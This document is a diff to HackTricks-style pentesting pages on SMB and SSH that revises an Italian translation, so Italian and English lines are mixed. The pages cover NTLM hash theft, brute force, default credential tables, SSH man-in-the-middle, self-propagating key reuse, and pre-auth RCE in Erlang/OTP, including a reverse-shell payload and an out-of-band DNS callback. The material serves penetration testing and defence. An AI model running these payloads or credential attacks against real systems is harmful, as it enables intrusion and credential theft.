-![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
+![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
 ### SMBTrap using MitMf
-![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
+![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
 ## NTLM Theft
-Simile a SMB Trapping, piantare file malevoli su un target system (via SMB, per esempio) può indurre un tentativo di autenticazione SMB, permettendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può poi essere crackato offline o usato in un [SMB relay attack](#smb-relay-attack).
+Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack).
-[Vedi: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
+[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 ## HackTricks Comandi Automatici
 ```
@ -497,8 +511,8 @@ getArch.py -target {IP}
 With Creds
 smbmap -H {IP} -u {Username} -p {Password}
-smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
+smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
-smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
+smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
 crackmapexec smb {IP} -u {Username} -p {Password} --shares
 GetADUsers.py {Domain_Name}/{Username}:{Password} -all
 GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
 ```
 ## Riferimenti
 - [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
 - [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
 - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@ -2,9 +2,9 @@
 {{#include ../banners/hacktricks-training.md}}
-## Informazioni di base
+## Basic Information
-**SSH (Secure Shell o Secure Socket Shell)** è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati durante l'accesso a sistemi remoti.
+**SSH (Secure Shell or Secure Socket Shell)** è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati durante l'accesso a sistemi remoti.
 **Porta predefinita:** 22
 ```
@ -12,40 +12,40 @@
 ```
 **Server SSH:**
- [openSSH](http://www.openssh.org) – OpenBSD SSH, fornito in BSD, distribuzioni Linux e Windows da Windows 10
+- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluso in BSD, nelle distribuzioni Linux e in Windows da Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornito in OpenWrt
+- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e CPU limitate, inclusa in OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementazione SSH per Windows, il client è comunemente usato ma l'uso del server è più raro
+- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementazione SSH per Windows; il client è comunemente usato, mentre l'uso del server è più raro
 - [CopSSH](https://www.itefix.net/copssh) – implementazione di OpenSSH per Windows
-**Librerie SSH (implementando lato server):**
+**Librerie SSH (implementazione lato server):**
 - [libssh](https://www.libssh.org) – libreria C multipiattaforma che implementa il protocollo SSHv2 con binding in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); è usata da KDE per sftp e da GitHub per l'infrastruttura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – libreria server SSHv2 scritta in ANSI C e mirata per ambienti embedded, RTOS e con risorse limitate
+- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – libreria server SSHv2 scritta in ANSI C e destinata ad ambienti embedded, RTOS e con risorse limitate
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – libreria java Apache SSHD basata su Apache MINA
+- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – la libreria Java Apache SSHD si basa su Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – libreria protocollo SSHv2 per Python
+- [paramiko](https://github.com/paramiko/paramiko) – libreria Python del protocollo SSHv2
 ## Enumerazione
-### Acquisizione Banner
+### Banner Grabbing
 ```bash
 nc -vn <IP> 22
 ```
-### Audit ssh automatizzato
+### ssh-audit automatizzato
-ssh-audit è uno strumento per l'audit della configurazione del server e del client ssh.
+ssh-audit è uno strumento per l'audit delle configurazioni di server e client SSH.
-[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) è un fork aggiornato di [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
+[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
 **Caratteristiche:**
- Supporto per i protocolli SSH1 e SSH2;
+- Supporto per i protocolli server SSH1 e SSH2;
- analizza la configurazione del client SSH;
+- analizzare la configurazione del client SSH;
- acquisisce banner, riconosce dispositivo o software e sistema operativo, rileva compressione;
+- recuperare il banner, riconoscere il dispositivo o il software e il sistema operativo, rilevare la compressione;
- raccoglie algoritmi di scambio chiave, chiave host, crittografia e codice di autenticazione del messaggio;
+- raccogliere gli algoritmi di key-exchange, host-key, encryption e message authentication code;
- fornisce informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
+- mostrare informazioni sugli algoritmi (available since, removed/disabled, unsafe/weak/legacy, etc);
- fornisce raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
+- fornire raccomandazioni sugli algoritmi (append or remove based on recognized software version);
- fornisce informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
+- fornire informazioni sulla sicurezza (related issues, assigned CVE list, etc);
- analizza la compatibilità della versione SSH basata sulle informazioni sugli algoritmi;
+- analizzare la compatibilità delle versioni SSH basandosi sulle informazioni sugli algoritmi;
 - informazioni storiche da OpenSSH, Dropbear SSH e libssh;
 - funziona su Linux e Windows;
 - nessuna dipendenza
@ -75,11 +75,11 @@ $ python3 ssh-audit <IP>
 ```bash
 ssh-keyscan -t rsa <IP> -p <PORT>
 ```
-### Algoritmi di Cifratura Deboli
+### Algoritmi di cifratura deboli
-Questo viene scoperto per impostazione predefinita da **nmap**. Ma puoi anche usare **sslcan** o **sslyze**.
+Questo viene rilevato di default da **nmap**. Puoi anche usare **sslcan** o **sslyze**.
-### Script Nmap
+### Script di Nmap
 ```bash
 nmap -p22 <ip> -sC # Send default nmap scripts for SSH
 nmap -p22 <ip> -sV # Retrieve version
@ -91,47 +91,66 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
 - `ssh`
-## Forza bruta di nomi utente, password e chiavi private
+## Brute force usernames, passwords and private keys
-### Enumerazione dei nomi utente
+### Username Enumeration
-In alcune versioni di OpenSSH puoi effettuare un attacco temporale per enumerare gli utenti. Puoi utilizzare un modulo di metasploit per sfruttare questo:
+In alcune versioni di OpenSSH è possibile eseguire un timing attack per enumerare gli utenti. Puoi usare un metasploit module per sfruttare questo:
 ```
 msf> use scanner/ssh/ssh_enumusers
 ```
 ### [Brute force](../generic-hacking/brute-force.md#ssh)
-Alcune credenziali ssh comuni [qui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [qui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e di seguito.
+Alcune credenziali ssh comuni [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e sotto.
 ### Private Key Brute Force
-Se conosci alcune chiavi private ssh che potrebbero essere utilizzate... proviamole. Puoi usare lo script nmap:
+Se conosci alcune ssh private keys che potrebbero essere usate... proviamoci. Puoi usare lo script nmap:
 ```
 https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
 ```
-O il modulo ausiliario MSF:
+Oppure il MSF auxiliary module:
 ```
 msf> use scanner/ssh/ssh_identify_pubkeys
 ```
-Or use `ssh-keybrute.py` (python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
+Oppure usa `ssh-keybrute.py` (per Python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
-#### Le badkeys conosciute possono essere trovate qui:
+#### Known badkeys can be found here:
 {{#ref}}
 https://github.com/rapid7/ssh-badkeys/tree/master/authorized
 {{#endref}}
-#### Chiavi SSH deboli / PRNG prevedibile di Debian
+#### Weak SSH keys / Debian predictable PRNG
-Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Alcuni sistemi presentano difetti noti nel seme casuale usato per generare il materiale crittografico. Questo può portare a uno spazio di chiavi drasticamente ridotto che può essere forzato con brute force. Set di chiavi pre-generate su sistemi Debian affetti dal PRNG debole sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
-Dovresti guardare qui per cercare chiavi valide per la macchina vittima.
+Dovresti consultare queste risorse per cercare chiavi valide per la macchina vittima.
-### Kerberos
+### Kerberos / GSSAPI SSO
-**crackmapexec** utilizzando il protocollo `ssh` può usare l'opzione `--kerberos` per **autenticarsi tramite kerberos**.\
+Se il server SSH target supporta GSSAPI (per esempio Windows OpenSSH su un domain controller), puoi autenticarti usando il tuo Kerberos TGT invece della password.
-Per ulteriori informazioni esegui `crackmapexec ssh --help`.
+
 Flusso di lavoro da un host Linux attaccante:
 ```bash
 # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
 sudo ntpdate <dc.fqdn>
 # 2) Generate a krb5.conf for the target realm (optional, but handy)
 netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
 sudo cp krb5.conf /etc/krb5.conf
 # 3) Obtain a TGT for the user
 kinit <user>
 klist
 # 4) SSH with GSSAPI, using the FQDN that matches the host SPN
 ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
 ```
 Note:
 - Se ti connetti al nome sbagliato (es., host corto, alias o ordine errato in `/etc/hosts`), potresti ottenere: "Server not found in Kerberos database" perché lo SPN non corrisponde.
 - `crackmapexec ssh --kerberos` può anche usare il tuo ccache per l'autenticazione Kerberos.
 ## Credenziali predefinite
@ -139,7 +158,7 @@ Per ulteriori informazioni esegui `crackmapexec ssh --help`.
 | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | APC        | apc, device                                                                                                 | apc                                                                                                                                                                                                       |
 | Brocade    | admin                                                                                                       | admin123, password, brocade, fibranne                                                                                                                                                                     |
-| Cisco      | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin                                           | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
+| Cisco      | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin                                           | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
 | Citrix     | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin                                                            | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler                                                                                                                      |
 | D-Link     | admin, user                                                                                                 | private, admin, user                                                                                                                                                                                      |
 | Dell       | root, user1, admin, vkernel, cli                                                                            | calvin, 123456, password, vkernel, Stor@ge!, admin                                                                                                                                                        |
@ -154,53 +173,53 @@ Per ulteriori informazioni esegui `crackmapexec ssh --help`.
 ## SSH-MitM
-Se sei nella rete locale come la vittima che si connetterà al server SSH utilizzando nome utente e password, potresti provare a **eseguire un attacco MitM per rubare quelle credenziali:**
+Se sei nella rete locale come la vittima che sta per connettersi al server SSH usando username e password, puoi provare a **eseguire un attacco MitM per rubare quelle credenziali:**
-**Percorso dell'attacco:**
+Percorso dell'attacco:
- **Reindirizzamento del traffico:** L'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
+- Traffico reindirizzato: l'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando il tentativo di connessione al server SSH.
- **Intercettazione e registrazione:** La macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
+- Intercettazione e logging: la macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di login dell'utente fingendo di essere il server SSH legittimo.
- **Esecuzione di comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo apparire il processo fluido e legittimo.
+- Esecuzione comandi e relay: infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al server SSH reale, li **esegue** e **invia i risultati** all'utente, facendo apparire il processo come trasparente e legittimo.
-[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente ciò che è descritto sopra.
+[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente quanto descritto sopra.
-Per catturare e eseguire il vero MitM, potresti utilizzare tecniche come ARP spoofing, DNS spoofing o altre descritte negli [**attacchi di spoofing di rete**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
+Per catturare e eseguire il MitM puoi usare tecniche come ARP spoofing, DNS spoofin o altre descritte nei [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
 ## SSH-Snake
-Se desideri attraversare una rete utilizzando chiavi private SSH scoperte sui sistemi, utilizzando ogni chiave privata su ciascun sistema per nuovi host, allora [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) è ciò di cui hai bisogno.
+Se vuoi attraversare una rete usando chiavi private SSH scoperte sui sistemi, utilizzando ciascuna chiave privata su ogni sistema per raggiungere nuovi host, allora [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) è quello che ti serve.
 SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
-1. Sul sistema attuale, trova eventuali chiavi private SSH,
+1. Sul sistema corrente, trova eventuali chiavi private SSH,
-2. Sul sistema attuale, trova eventuali host o destinazioni (user@host) che potrebbero accettare le chiavi private,
+2. Sul sistema corrente, trova eventuali host o destinazioni (user@host) in cui le chiavi private potrebbero essere accettate,
-3. Tenta di SSH in tutte le destinazioni utilizzando tutte le chiavi private scoperte,
+3. Tenta di SSH verso tutte le destinazioni usando tutte le chiavi private scoperte,
-4. Se una destinazione è connessa con successo, ripete i passaggi #1 - #4 sul sistema connesso.
+4. Se una destinazione viene raggiunta con successo, ripete i passi #1 - #4 sul sistema a cui si è connessi.
-È completamente auto-replicante e auto-propagante -- e completamente senza file.
+È completamente auto-replicante e auto-propagante -- e completamente fileless.
-## Configurazioni errate
+## Misconfigurazioni
-### Accesso root
+### Root login
-È comune che i server SSH consentano l'accesso dell'utente root per impostazione predefinita, il che rappresenta un rischio significativo per la sicurezza. **Disabilitare l'accesso root** è un passo critico per mettere in sicurezza il server. L'accesso non autorizzato con privilegi amministrativi e gli attacchi di forza bruta possono essere mitigati apportando questa modifica.
+È comune che i server SSH consentano l'accesso dell'utente root di default, il che rappresenta un rischio significativo per la sicurezza. **Disabilitare l'accesso root** è un passo critico per proteggere il server. L'accesso non autorizzato con privilegi amministrativi e gli attacchi di brute force possono essere mitigati apportando questa modifica.
-**Per disabilitare l'accesso root in OpenSSH:**
+Per disabilitare l'accesso root in OpenSSH:
 1. **Modifica il file di configurazione SSH** con: `sudoedit /etc/ssh/sshd_config`
 2. **Cambia l'impostazione** da `#PermitRootLogin yes` a **`PermitRootLogin no`**.
-3. **Ricarica la configurazione** utilizzando: `sudo systemctl daemon-reload`
+3. **Ricarica la configurazione** usando: `sudo systemctl daemon-reload`
 4. **Riavvia il server SSH** per applicare le modifiche: `sudo systemctl restart sshd`
-### Forza bruta SFTP
+### SFTP Brute Force
- [**Forza bruta SFTP**](../generic-hacking/brute-force.md#sftp)
+- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
-### Esecuzione di comandi SFTP
+### SFTP command execution
-C'è una comune svista che si verifica con le configurazioni SFTP, dove gli amministratori intendono che gli utenti scambino file senza abilitare l'accesso alla shell remota. Nonostante impostino gli utenti con shell non interattive (ad esempio, `/usr/bin/nologin`) e li confinino in una directory specifica, rimane una falla di sicurezza. **Gli utenti possono eludere queste restrizioni** richiedendo l'esecuzione di un comando (come `/bin/bash`) immediatamente dopo il login, prima che la loro shell non interattiva designata prenda il controllo. Questo consente l'esecuzione non autorizzata di comandi, minando le misure di sicurezza previste.
+Esiste una svista comune nelle configurazioni SFTP, dove gli amministratori prevedono che gli utenti scambino file senza abilitare l'accesso shell remoto. Nonostante l'assegnazione agli utenti di shell non interattive (es., `/usr/bin/nologin`) e il confinamento in una directory specifica, rimane una falla di sicurezza. **Gli utenti possono aggirare queste restrizioni** richiedendo l'esecuzione di un comando (come `/bin/bash`) immediatamente dopo il login, prima che la loro shell non interattiva abbia effetto. Questo permette l'esecuzione non autorizzata di comandi, compromettendo le misure di sicurezza previste.
-[Esempio da qui](https://community.turgensec.com/ssh-hacking-guide/):
+[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
 ```bash
 ssh -v noraj@192.168.1.94 id
 ...
@ -233,42 +252,42 @@ PermitTunnel no
 X11Forwarding no
 PermitTTY no
 ```
-Questa configurazione consentirà solo SFTP: disabilitando l'accesso alla shell forzando il comando di avvio e disabilitando l'accesso TTY, ma anche disabilitando ogni tipo di port forwarding o tunneling.
+Questa configurazione consentirà solo SFTP: disabiliterà l'accesso shell forzando lo start command e disabiliterà l'accesso TTY, ma impedirà anche qualsiasi tipo di port forwarding o tunneling.
 ### SFTP Tunneling
-Se hai accesso a un server SFTP, puoi anche tunnelare il tuo traffico attraverso questo, ad esempio utilizzando il port forwarding comune:
+Se hai accesso a un server SFTP puoi anche instradare il tuo traffico attraverso di esso, ad esempio usando il comune port forwarding:
 ```bash
 sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
 ```
 ### SFTP Symlink
-Il **sftp** ha il comando "**symlink**". Pertanto, se hai **diritti di scrittura** in una cartella, puoi creare **symlink** di **altre cartelle/file**. Poiché sei probabilmente **intrappolato** all'interno di un chroot, questo **non sarà particolarmente utile** per te, ma, se puoi **accedere** al **symlink** creato da un **servizio** **no-chroot** (ad esempio, se puoi accedere al symlink dal web), potresti **aprire i file symlinkati attraverso il web**.
+Lo **sftp** dispone del comando "**symlink**". Perciò, se hai **permessi di scrittura** in una cartella, puoi creare **symlink** di **altre cartelle/file**. Poiché probabilmente sei **intrappolato** all'interno di un chroot questo **non ti sarà particolarmente utile**, ma, se puoi **accedere** al **symlink** creato da un **no-chroot** **service** (per esempio, se puoi accedere al symlink dal web), potresti **aprire i file symlinked tramite il web**.
-Ad esempio, per creare un **symlink** da un nuovo file **"**_**froot**_**" a "**_**/**_**"**:
+Per esempio, per creare un **symlink** da un nuovo file **"**_**froot**_**" a "**_**/**_**"**:
 ```bash
 sftp> symlink / froot
 ```
-Se puoi accedere al file "_froot_" tramite web, sarai in grado di elencare la cartella root ("/") del sistema.
+Se puoi accedere al file "_froot_" via web, potrai elencare la cartella root ("/") del sistema.
 ### Metodi di autenticazione
-In ambienti ad alta sicurezza è una pratica comune abilitare solo l'autenticazione basata su chiave o l'autenticazione a due fattori piuttosto che la semplice autenticazione basata su password. Ma spesso i metodi di autenticazione più forti sono abilitati senza disabilitare quelli più deboli. Un caso frequente è l'abilitazione di `publickey` nella configurazione di openSSH e la sua impostazione come metodo predefinito, ma senza disabilitare `password`. Quindi, utilizzando la modalità verbosa del client SSH, un attaccante può vedere che un metodo più debole è abilitato:
+In ambienti ad alta sicurezza è pratica comune abilitare solo l'autenticazione tramite chiave o a due fattori anziché la semplice autenticazione basata su password. Ma spesso i metodi di autenticazione più forti sono abilitati senza disabilitare quelli più deboli. Un caso frequente è abilitare `publickey` nella configurazione di openSSH e impostarlo come metodo predefinito ma senza disabilitare `password`. Quindi, usando la modalità verbose del client SSH un attaccante può vedere che un metodo più debole è abilitato:
 ```bash
 ssh -v 192.168.1.94
 OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
 ...
 debug1: Authentications that can continue: publickey,password,keyboard-interactive
 ```
-Ad esempio, se è impostato un limite di errori di autenticazione e non hai mai la possibilità di accedere al metodo della password, puoi utilizzare l'opzione `PreferredAuthentications` per forzare l'uso di questo metodo.
+Ad esempio, se è impostato un limite di authentication failure e non riesci mai a raggiungere il password method, puoi usare l'opzione `PreferredAuthentications` per forzare l'uso di questo metodo.
 ```bash
 ssh -v 192.168.1.94 -o PreferredAuthentications=password
 ...
 debug1: Next authentication method: password
 ```
-Esaminare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.
+È necessario rivedere la configurazione del server SSH per verificare che siano autorizzati solo i metodi previsti. L'uso della verbose mode sul client può aiutare a vedere l'efficacia della configurazione.
-### Config files
+### File di configurazione
 ```bash
 ssh_config
 sshd_config
@ -282,22 +301,22 @@ id_rsa
 - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
 - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
-## Bypass della Macchina a Stati dell'Autenticazione (RCE Pre-Auth)
+## Authentication State-Machine Bypass (Pre-Auth RCE)
-Diverse implementazioni del server SSH contengono difetti logici nella **macchina a stati finiti per l'autenticazione** che consentono a un client di inviare messaggi *protocollo di connessione* **prima** che l'autenticazione sia completata. Poiché il server non verifica di essere nello stato corretto, quei messaggi vengono gestiti come se l'utente fosse completamente autenticato, portando a **esecuzione di codice non autenticato** o creazione di sessioni.
+Diverse implementazioni di server SSH contengono difetti logici nella **macchina a stati finiti di autenticazione** che consentono a un client di inviare *connection-protocol* messages **prima** che l'autenticazione sia completata. Poiché il server non verifica di trovarsi nello stato corretto, quei messaggi vengono gestiti come se l'utente fosse completamente autenticato, portando a **esecuzione di codice non autenticata** o alla creazione di una sessione.
-A livello di protocollo, qualsiasi messaggio SSH con un _codice messaggio_ **≥ 80** (0x50) appartiene allo strato *connessione* (RFC 4254) e deve **essere accettato solo dopo un'autenticazione riuscita** (RFC 4252). Se il server elabora uno di quei messaggi mentre è ancora nello stato *SSH_AUTHENTICATION*, l'attaccante può immediatamente creare un canale e richiedere azioni come l'esecuzione di comandi, il port forwarding, ecc.
+A livello di protocollo qualsiasi messaggio SSH con un _message code_ **≥ 80** (0x50) appartiene al livello *connection* (RFC 4254) e deve essere **accettato solo dopo un'autenticazione riuscita** (RFC 4252). Se il server elabora uno di questi messaggi mentre è ancora nello stato *SSH_AUTHENTICATION*, l'attaccante può creare immediatamente un channel e richiedere azioni come l'esecuzione di comandi, il port-forwarding, ecc.
-### Passi Generici di Sfruttamento
+### Passaggi generici di sfruttamento
-1. Stabilire una connessione TCP alla porta SSH del target (comunemente 22, ma altri servizi possono esporre Erlang/OTP su 2022, 830, 2222…).
+1. Stabilire una connessione TCP verso la porta SSH del target (di solito 22, ma altri servizi possono esporre Erlang/OTP sulle porte 2022, 830, 2222…).
-2. Creare un pacchetto SSH raw:
+2. Creare un pacchetto SSH grezzo:
 * 4-byte **packet_length** (big-endian)
-* 1-byte **message_code** ≥ 80 (ad es. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
+* 1-byte **message_code** ≥ 80 (es. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
-* Payload che sarà compreso dal tipo di messaggio scelto
+* Payload che sarà interpretato dal tipo di messaggio scelto
-3. Inviare il pacchetto(i) **prima di completare qualsiasi passo di autenticazione**.
+3. Inviare il/i pacchetto(i) **prima di completare qualsiasi fase di autenticazione**.
-4. Interagire con le API del server che ora sono esposte _pre-auth_ (esecuzione di comandi, port forwarding, accesso al file system, …).
+4. Interagire con le API del server ora esposte _pre-auth_ (esecuzione di comandi, port forwarding, accesso al file-system, …).
-Schema di proof-of-concept in Python:
+Bozza di proof-of-concept in Python:
 ```python
 import socket, struct
 HOST, PORT = '10.10.10.10', 22
@ -309,39 +328,43 @@ pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
 s.sendall(pkt)
 # additional CHANNEL_REQUEST packets can follow to run commands
 ```
-In pratica, sarà necessario eseguire (o saltare) lo scambio di chiavi in base all'implementazione target, ma **nessuna autenticazione** viene mai eseguita.
+In pratica dovrai eseguire (o saltare) lo scambio di chiavi in base all'implementazione del target, ma **nessuna autenticazione** viene mai eseguita.
 ---
 ### Erlang/OTP `sshd` (CVE-2025-32433)
-* **Versioni interessate:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
+* **Versioni affette:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
-* **Causa principale:** il demone SSH nativo di Erlang non convalida lo stato attuale prima di invocare `ssh_connection:handle_msg/2`. Pertanto, qualsiasi pacchetto con un codice messaggio da 80 a 255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato *userauth*.
+* **Causa:** il daemon SSH nativo di Erlang non valida lo stato corrente prima di invocare `ssh_connection:handle_msg/2`. Pertanto qualsiasi pacchetto con codice messaggio 80-255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato *userauth*.
-* **Impatto:** **esecuzione di codice remoto** non autenticata (il demone di solito viene eseguito come **root** su dispositivi embedded/OT).
+* **Impatto:** unauthenticated **remote code execution** (il daemon di solito gira come **root** su dispositivi embedded/OT).
-Esempio di payload che genera una shell inversa legata al canale controllato dall'attaccante:
+Esempio di payload che genera una reverse shell legata al canale controllato dall'attacker:
 ```erlang
 % open a channel first … then:
 execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
 ```
-Blind RCE / rilevamento out-of-band può essere eseguito tramite DNS:
+Blind RCE / out-of-band detection può essere effettuata via DNS:
 ```erlang
 execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
 ```
-Rilevamento e Mitigazione:
+Rilevamento e mitigazione:
-* Ispezionare il traffico SSH: **scartare qualsiasi pacchetto con codice messaggio ≥ 80 osservato prima dell'autenticazione**.
+* Ispezionare il traffico SSH: **drop any packet with message code ≥ 80 observed before authentication**.
 * Aggiornare Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o versioni successive.
-* Limitare l'esposizione delle porte di gestione (22/2022/830/2222) – specialmente su attrezzature OT.
+* Limitare l'esposizione delle porte di gestione (22/2022/830/2222) – soprattutto su apparecchiature OT.
 ---
-### Altre Implementazioni Colpite
+### Altre implementazioni interessate
-* **libssh** 0.6 – 0.8 (lato server) – **CVE-2018-10933** – accetta un `SSH_MSG_USERAUTH_SUCCESS` non autenticato inviato dal client, effettivamente il difetto logico inverso.
+* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accetta un `SSH_MSG_USERAUTH_SUCCESS` non autenticato inviato dal client, di fatto il difetto logico inverso.
 La lezione comune è che qualsiasi deviazione dalle transizioni di stato imposte dall'RFC può essere fatale; durante la revisione o il fuzzing dei daemon SSH prestare particolare attenzione a *state-machine enforcement*.
 La lezione comune è che qualsiasi deviazione dalle transizioni di stato richieste dal RFC può essere fatale; quando si esaminano o si fuzzano i demoni SSH, prestare particolare attenzione all'*applicazione della macchina a stati*.
 ## Riferimenti
 - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
